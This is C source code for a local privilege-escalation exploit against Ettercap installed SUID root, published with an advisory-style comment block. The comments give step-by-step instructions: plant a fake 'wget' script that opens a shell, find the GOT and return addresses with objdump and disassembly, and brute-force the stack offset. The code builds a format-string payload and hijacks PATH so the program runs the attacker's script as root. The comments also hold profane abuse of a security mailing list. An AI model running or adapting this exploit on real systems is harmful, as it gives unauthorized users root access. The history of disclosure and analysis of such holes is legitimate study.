/* [ RFP NOTE: The actual advisory, which was an attachment to this message,
had some 'publishing restrictions'--so we decided to just not publish it
and instead give you the link.  You can view the full advisory at
http://www.bugtraq.org/dev/GOBBLES-11.txt.  Keep in mind this is for the
few people who, for some reason, installed Ettercap SUID root.
Installing Ettercap SUID root is not a default option. ] */


/*
 * own-ettercap - Ettercap local root exploit
 * - Alicia [GOBBLES]
 *
 * Ettercap has a configuration option called PERMIT_SUID. This allows the
 * administrator to make the binary SUID root. Among at least half a dozen
 * vulnerabilities in the program, there is a format string problem that can
 * be triggered if ncurses is present and the PERMIT_SUID option is used.
 *
 * No shellcode is needed for the exploit. It should work fine for systems
 * using ELF/x86. The exploitation idea is to overwrite the printf() GOT
 * with an address in the program's own code segment, namely for the
 * following:
 * 
 * 441 void Main_Check_NewRelease(void)
 * [...]
 * 535 sprintf(wget, "wget http://%s/download/ettercap-%s.tar.gz" ...
 * 536 system(wget);
 *
 * Incidentally, lines 535-536 may or may not be exploitable alone.
 *
 * Openwall, StackGuard, Stackshield, PaX, libsafe, and Solaris
 * noexec_user_stack do nothing to stop this; FormatGuard might help.
 * Considering that most of our exploits defeat all of the above anyway, one
 * wonders what good they really do.
 *
 * We have an OpenSSH 2.9 sshd remote buffer overflow vulnerability (Hi Theo, 
 * you do good work!). We'll post the details of the hole when we see that 
 * securityfocus has stopped moderating us and offers an apology. It's a shame
 * that our research, which matches 95% of Bugtraq posts, is moderated on
 * the grounds of it being "technically feeble." Fucking cocksuckers.
 *
 * http://www.bugtraq.org/advisories.html
 *
 * Anyway, this exploit is pretty much penetrator proof, but it may not be
 * totally script kid proof. We apologize.
 *
 * 1. Change ECAP_PATH to the location of ettercap. 
 * 2. DEF_SLEN and DEF_ALIGN should be fine as they are. 
 * 3. DEF_GOB will unlikely work for you. Brute force it in step 7. 
 * 4. Make a shell script named 'wget' in your current working directory:
 *          bash-2.05$ cat > wget ; chmod +x wget
 *          #!/bin/sh
 *          /bin/sh
 *          ^D
 * 5. Grab the printf() GOT address:
 *          bash-2.05$ objdump -R ettercap | grep printf
 *          0808c478 R_386_JUMP_SLOT   printf
 * 6. This is where most penetrators are likely to screw up. Disassemble 
 *    Main_Check_NewRelease and try to find where the first sprintf()
 *    argument is prepared for being pushed onto the stack. Sample:    
 *          0x8079268 <Main_Check_NewRelease+976>:  mov    0xfffffff0(%ebp),%eax
 *          0x807926b <Main_Check_NewRelease+979>:  push   %eax
 *          0x807926c <Main_Check_NewRelease+980>:  lea    0xffffea58(%ebp),%eax
 *          0x8079272 <Main_Check_NewRelease+986>:  push   %eax
 *          0x8079273 <Main_Check_NewRelease+987>:  push   $0x80880a0
 *          0x8079278 <Main_Check_NewRelease+992>:  lea    0xffffe9e8(%ebp),%eax
 *          0x807927e <Main_Check_NewRelease+998>:  push   %eax
 *          0x807927f <Main_Check_NewRelease+999>:  call   0x804f418 <sprintf>
 *          0x8079284 <Main_Check_NewRelease+1004>: add    $0x10,%esp
 *          0x8079287 <Main_Check_NewRelease+1007>: add    $0xfffffff4,%esp
 *          0x807928a <Main_Check_NewRelease+1010>: lea    0xffffe9e8(%ebp),%eax
 *          0x8079290 <Main_Check_NewRelease+1016>: push   %eax
 *          0x8079291 <Main_Check_NewRelease+1017>: call   0x804edd8 <system>
 * 7. Now we brute force the stack stepping:
 *          i=1; while [ $i -le 40 ] ; do ./expl 0x0808c478 0x8079268 $i; \
 *          i=`expr $i + 1`; done
 *
 * Some values of retadd aren't accounted for, but you should encounter no
 * problems unless you try testing with 0x41414141 and such.
 *
 * For old glibc, this will be useless. Should present a good programming
 * challenge for 90% of the team bugtraq commercial penetrator "academic
 * re$earch community" though. One wonders why the only ones who seem to
 * defend full disclosure are the ones who have something to lose in its
 * absence. Others just seem to think it's anti-Microsoft or anti-BigVendor.
 * As a good friend says, if they're so concerned about securing computer
 * networks worldwide, then why the fuck are they capitalizing on it?
 *
 * Fact: They profit with insecurity. 
 * Fact: With security, they'd make no profit. 
 * Conclusion: They don't want security.
 * Fact: They need customers to profit with insecurity.
 * Fact: The customers must be aware of their insecurity.
 * Conclusion: They need to do everything possible to scare the public.
 *
 * Microsoft: It's like shouting "FIRE!" in a cinema!
 * Securityfocus: But the cinema really is on fire!
 * Counter-Securityfocus: So you burn down the whole city as a "necessary
 * evil" to let everyone know the threat of the cinema on fire? 
 *
 * Hey, securityfocus will probably reject this advisory, but then again,
 * they rejected our banner(1) exploit too. In some ways we hope they do
 * reject this as being too fluffy, because there are many people out there
 * who'd like to see the saga continue in a much more devastating way...
 *
 * - Alicia
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#define ECAP_PATH       "./ettercap"

#define DEF_GOB         20
#define DEF_SLEN        21
#define DEF_ALIGN       3

void
usage(char *prog)
{
    fprintf(stderr, "GOBBLES ettercap local root exploit\n");
    fprintf(stderr, "usage: %s retloc retadd [gob] [align] [slen]\n", prog);
    exit(EXIT_FAILURE);	
}

int
chk_clean(void *addr, size_t len)
{
    return (memchr(addr, '\0', len) || memchr(addr, '%', len));
}

void
mk_fmt(unsigned long retloc, unsigned long retadd, int gob, int align, int slen,
        char **attack)
{
    char *ptr;
    unsigned long len, rllo, rlhi, ralo, rahi;

    if(!(*attack = malloc(gob * 4 + 256))) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    ptr = *attack;
    len = slen + align + 16 + gob * 9;

    rllo = retloc;
    rlhi = retloc + 2;
    ralo = retadd & 0xffff;
    rahi = retadd >> 16 & 0xffff;

    if(ralo > rahi) {
        rllo ^= rlhi, rlhi ^= rllo, rllo ^= rlhi;
        ralo ^= rahi, rahi ^= ralo, ralo ^= rahi;
    }     

    ralo -= len;
    rahi -= ralo + len;

    while(align--) {
        *ptr++ = 'G';
    }

    *((unsigned long *) ptr)++ = 0xdefaced;
    *((unsigned long *) ptr)++ = rllo;
    *((unsigned long *) ptr)++ = 0xdefaced;
    *((unsigned long *) ptr)++ = rlhi;      

    if(chk_clean(ptr - 16, 16)) { 
        fprintf(stderr, "bad: %#lx (& +2) - your skeelz needed!\n", retloc); 
        exit(EXIT_FAILURE);
    }

    while(gob--) {
        memcpy(ptr, "%8x.", 4);
        ptr += 4; 
    }

    sprintf(ptr, "%%%luc%%hn%%%luc%%hn", ralo, rahi);        
}

int
main(int argc, char **argv)
{
    char *attack;
    unsigned long retloc, retadd;
    int gob = DEF_GOB, align = DEF_ALIGN, slen = DEF_SLEN;

    if(argc < 3) usage(argv[0]);

    retloc = strtoul(argv[1], NULL, 0);
    retadd = strtoul(argv[2], NULL, 0);

    if(argc > 3) gob   = atoi(argv[3]);
    if(argc > 4) align = atoi(argv[4]);
    if(argc > 5) slen  = atoi(argv[5]);

    mk_fmt(retloc, retadd, gob, align, slen, &attack);
    setenv("PATH", ".:/bin:/sbin:/usr/bin:/usr/sbin", 1);

    execl(ECAP_PATH, "ettercap", attack, (char *) 0);
    perror("execl");
 
    free(attack);
    exit(EXIT_FAILURE);
}



